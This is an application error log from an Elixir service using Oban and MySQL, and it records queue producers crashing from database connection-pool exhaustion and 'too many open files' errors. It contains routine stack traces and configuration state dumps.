    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:50:51.241835Z], limit: 5, uuid: "8c40622a-dc34-4a77-872e-7a81066162d3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:51.241841Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.140699>, refresh_timer: #Reference<0.2525715032.1099431938.34619>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:02.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:50:51.241174Z], limit: 10, uuid: "697310d7-4f7d-4985-b6db-4aaef57e8934", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:51.241181Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.140698>, refresh_timer: #Reference<0.2525715032.1099431938.34611>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:03.587000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:04.114000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:06.143000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:10.706000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:10.781000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:12.781000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:14.030000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:14.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1093ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:51:02.243730Z], limit: 20, uuid: "28790d74-0c73-44b8-acaf-19297107d394", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:02.243735Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.5676>, refresh_timer: #Reference<0.2525715032.1077673987.5629>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:14.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:51:02.243785Z], limit: 5, uuid: "6d84a89e-f4de-4c6e-a45b-6b2424df7999", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:02.243791Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.5677>, refresh_timer: #Reference<0.2525715032.1077673987.5632>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:14.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:51:02.243918Z], limit: 5, uuid: "7e1f737c-b50e-4f13-9c60-2576f8ba97cf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:02.243923Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.5678>, refresh_timer: #Reference<0.2525715032.1068498948.33597>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:14.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1031ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:51:02.243455Z], limit: 3, uuid: "d146591b-4437-4c74-8af7-881a41a40acb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:02.243460Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.5618>, refresh_timer: #Reference<0.2525715032.1077673987.5616>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:14.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 850ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:51:02.249885Z], limit: 50, uuid: "bd0e0c55-18e6-4bc9-93fc-b00946cdd59a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:02.249891Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.5680>, refresh_timer: #Reference<0.2525715032.1099431938.34728>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:14.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 831ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:51:02.245383Z], limit: 10, uuid: "89392610-2223-4768-935f-7d344b818c22", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:02.248329Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.5679>, refresh_timer: #Reference<0.2525715032.1121189889.141062>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:15.246000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:16.223000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:18.310000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:21.606000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:24.360000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:25.320000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:25.949000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:26.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1053ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
